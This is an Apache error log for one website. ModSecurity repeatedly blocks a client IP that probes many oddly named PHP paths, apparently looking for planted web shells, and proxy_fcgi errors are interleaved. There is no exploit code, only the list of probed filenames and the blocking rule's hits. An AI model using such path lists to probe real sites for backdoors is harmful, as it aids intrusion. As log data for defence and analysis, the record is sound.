[Fri Apr 17 00:05:17.890174 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:51803] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeEIvT9SZnuKxlHrct1kPAAAANg"]
[Fri Apr 17 00:05:19.703638 2026] [:error] [pid 43482:tid 43500] [client 158.158.73.200:64177] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeEIvz9SZnuKxlHrct1kQAAAANA"]
[Fri Apr 17 00:05:20.926000 2026] [:error] [pid 43482:tid 43486] [client 158.158.73.200:64171] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeEIwD9SZnuKxlHrct1kSQAAAMI"]
[Fri Apr 17 00:05:21.652286 2026] [:error] [pid 43482:tid 43494] [client 158.158.73.200:24433] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeEIwT9SZnuKxlHrct1kTgAAAMo"]
[Fri Apr 17 00:05:22.467995 2026] [:error] [pid 43482:tid 43495] [client 158.158.73.200:47139] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/111.php"] [unique_id "aeEIwj9SZnuKxlHrct1kUQAAAMs"]
[Fri Apr 17 00:05:23.206551 2026] [:error] [pid 43386:tid 43421] [client 158.158.73.200:24428] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeEIw-91GAVgUfhPVDGh9QAAAEE"]
[Fri Apr 17 00:05:23.860434 2026] [:error] [pid 43387:tid 43472] [client 158.158.73.200:24348] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeEIwyBNsONqHxWTakUY9gAAAJM"]
[Fri Apr 17 00:05:24.657390 2026] [:error] [pid 43482:tid 43492] [client 158.158.73.200:24423] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeEIxD9SZnuKxlHrct1kVQAAAMg"]
[Fri Apr 17 00:05:25.663588 2026] [:error] [pid 43482:tid 43505] [client 158.158.73.200:47137] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeEIxT9SZnuKxlHrct1kWwAAANU"]
[Fri Apr 17 00:05:26.400918 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:59642] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeEIxj9SZnuKxlHrct1kXQAAAM4"]
[Fri Apr 17 00:05:27.246990 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:60016] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeEIxz9SZnuKxlHrct1kYAAAAMM"]
[Fri Apr 17 00:05:27.935920 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:24367] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeEIxz9SZnuKxlHrct1kYwAAAME"]
[Fri Apr 17 00:05:28.632168 2026] [:error] [pid 43385:tid 43400] [client 158.158.73.200:24403] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeEIyMnIxkJaUI8KNs7niAAAAAs"]
[Fri Apr 17 00:05:29.349396 2026] [:error] [pid 43482:tid 43505] [client 158.158.73.200:21972] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeEIyT9SZnuKxlHrct1kbAAAANU"]
[Fri Apr 17 00:05:32.415511 2026] [:error] [pid 43387:tid 43449] [client 158.158.73.200:64169] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeEIzCBNsONqHxWTakUZDQAAAIE"]
[Fri Apr 17 00:05:33.038702 2026] [:error] [pid 43482:tid 43486] [client 158.158.73.200:64156] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeEIzT9SZnuKxlHrct1kgAAAAMI"]
[Fri Apr 17 00:05:34.082748 2026] [:error] [pid 43482:tid 43499] [client 158.158.73.200:60006] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aeEIzj9SZnuKxlHrct1kigAAAM8"]
[Fri Apr 17 00:05:34.953610 2026] [:error] [pid 43387:tid 43476] [client 158.158.73.200:51793] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeEIziBNsONqHxWTakUZFgAAAJc"]
[Fri Apr 17 00:05:36.210185 2026] [:error] [pid 43482:tid 43505] [client 158.158.73.200:59606] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeEI0D9SZnuKxlHrct1klwAAANU"]
[Fri Apr 17 00:05:37.489414 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:24353] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeEI0T9SZnuKxlHrct1koQAAANM"]
[Fri Apr 17 00:05:38.649628 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:24387] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aeEI0j9SZnuKxlHrct1krAAAAME"]
[Fri Apr 17 00:05:40.831293 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:51797] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ass.php"] [unique_id "aeEI1D9SZnuKxlHrct1ksQAAANg"]
[Fri Apr 17 00:05:42.938684 2026] [proxy_fcgi:error] [pid 43385:tid 43400] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:43.302094 2026] [proxy_fcgi:error] [pid 43385:tid 43411] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:43.596739 2026] [proxy_fcgi:error] [pid 43385:tid 43398] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:43.879764 2026] [proxy_fcgi:error] [pid 43385:tid 43395] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:44.161595 2026] [proxy_fcgi:error] [pid 43385:tid 43390] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:45.491037 2026] [proxy_fcgi:error] [pid 43385:tid 43394] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:45.790612 2026] [proxy_fcgi:error] [pid 43385:tid 43415] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:46.071811 2026] [proxy_fcgi:error] [pid 43385:tid 43393] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:46.354046 2026] [proxy_fcgi:error] [pid 43385:tid 43406] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:46.752154 2026] [proxy_fcgi:error] [pid 43385:tid 43400] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:47.039431 2026] [proxy_fcgi:error] [pid 43385:tid 43398] [client 158.158.73.200:64155] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:05:47.344183 2026] [:error] [pid 43385:tid 43407] [client 158.158.73.200:64155] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeEI28nIxkJaUI8KNs7nsAAAABI"]
[Fri Apr 17 00:05:48.318836 2026] [:error] [pid 43482:tid 43486] [client 158.158.73.200:24351] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeEI3D9SZnuKxlHrct1kvAAAAMI"]
[Fri Apr 17 00:05:49.595511 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:59629] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeEI3T9SZnuKxlHrct1kvwAAANM"]
[Fri Apr 17 00:05:51.577580 2026] [:error] [pid 43387:tid 43454] [client 158.158.73.200:64142] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeEI3yBNsONqHxWTakUZQQAAAIQ"]
[Fri Apr 17 00:05:52.782983 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:51839] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeEI4D9SZnuKxlHrct1kyQAAAME"]
[Fri Apr 17 00:05:53.795431 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:64060] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeEI4T9SZnuKxlHrct1kywAAANg"]
[Fri Apr 17 00:05:54.515830 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:24424] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeEI4j9SZnuKxlHrct1kzgAAAM0"]
[Fri Apr 17 00:05:55.551759 2026] [:error] [pid 43385:tid 43402] [client 158.158.73.200:21985] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeEI48nIxkJaUI8KNs7nuAAAAA0"]
[Fri Apr 17 00:05:56.217183 2026] [:error] [pid 43387:tid 43461] [client 158.158.73.200:24438] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeEI5CBNsONqHxWTakUZTAAAAIo"]
[Fri Apr 17 00:05:57.147283 2026] [:error] [pid 43387:tid 43466] [client 158.158.73.200:18880] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeEI5SBNsONqHxWTakUZUAAAAI0"]
[Fri Apr 17 00:05:57.677954 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:59631] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeEI5T9SZnuKxlHrct1k2QAAAM0"]
[Fri Apr 17 00:05:58.558966 2026] [:error] [pid 43482:tid 43501] [client 158.158.73.200:64034] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeEI5j9SZnuKxlHrct1k3AAAANE"]
[Fri Apr 17 00:05:59.499133 2026] [:error] [pid 43482:tid 43500] [client 158.158.73.200:21953] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeEI5z9SZnuKxlHrct1k3QAAANA"]
[Fri Apr 17 00:06:00.288298 2026] [:error] [pid 43482:tid 43491] [client 158.158.73.200:24328] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeEI6D9SZnuKxlHrct1k3gAAAMc"]
[Fri Apr 17 00:06:02.468942 2026] [:error] [pid 43385:tid 43399] [client 158.158.73.200:64181] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeEI6snIxkJaUI8KNs7nvQAAAAo"]
[Fri Apr 17 00:06:03.820134 2026] [:error] [pid 43387:tid 43457] [client 158.158.73.200:59644] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeEI6yBNsONqHxWTakUZVwAAAIY"]
[Fri Apr 17 00:06:04.791133 2026] [:error] [pid 43482:tid 43502] [client 158.158.73.200:51829] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeEI7D9SZnuKxlHrct1k5wAAANI"]
[Fri Apr 17 00:06:05.511282 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:24355] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeEI7T9SZnuKxlHrct1k6AAAAMM"]
[Fri Apr 17 00:06:06.358509 2026] [:error] [pid 43385:tid 43415] [client 158.158.73.200:51820] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeEI7snIxkJaUI8KNs7nwQAAABg"]
[Fri Apr 17 00:06:07.876206 2026] [:error] [pid 43387:tid 43461] [client 158.158.73.200:24397] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeEI7yBNsONqHxWTakUZXAAAAIo"]
[Fri Apr 17 00:06:08.920658 2026] [:error] [pid 43482:tid 43504] [client 158.158.73.200:64148] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEI8D9SZnuKxlHrct1k7QAAANQ"]
[Fri Apr 17 00:06:09.703690 2026] [:error] [pid 43386:tid 43442] [client 158.158.73.200:51784] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEI8e91GAVgUfhPVDGiMwAAAFU"]
[Fri Apr 17 00:06:10.309833 2026] [:error] [pid 43482:tid 43495] [client 158.158.73.200:24435] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEI8j9SZnuKxlHrct1k7gAAAMs"]
[Fri Apr 17 00:06:10.836380 2026] [:error] [pid 43387:tid 43472] [client 158.158.73.200:24420] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeEI8iBNsONqHxWTakUZXwAAAJM"]
[Fri Apr 17 00:06:11.772898 2026] [:error] [pid 43482:tid 43486] [client 158.158.73.200:64006] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeEI8z9SZnuKxlHrct1k8gAAAMI"]
[Fri Apr 17 00:06:12.693175 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:59609] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeEI9CBNsONqHxWTakUZYwAAAJQ"]
[Fri Apr 17 00:06:13.647261 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:24440] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeEI9T9SZnuKxlHrct1k9QAAAM0"]
[Fri Apr 17 00:06:14.711445 2026] [:error] [pid 43482:tid 43501] [client 158.158.73.200:64000] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeEI9j9SZnuKxlHrct1k9gAAANE"]
[Fri Apr 17 00:06:15.682628 2026] [:error] [pid 43387:tid 43449] [client 158.158.73.200:20174] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeEI9yBNsONqHxWTakUZZgAAAIE"]
[Fri Apr 17 00:06:16.499803 2026] [:error] [pid 43387:tid 43475] [client 158.158.73.200:59979] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeEI-CBNsONqHxWTakUZaQAAAJY"]
[Fri Apr 17 00:06:17.585145 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:21910] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeEI-T9SZnuKxlHrct1k-AAAAM4"]
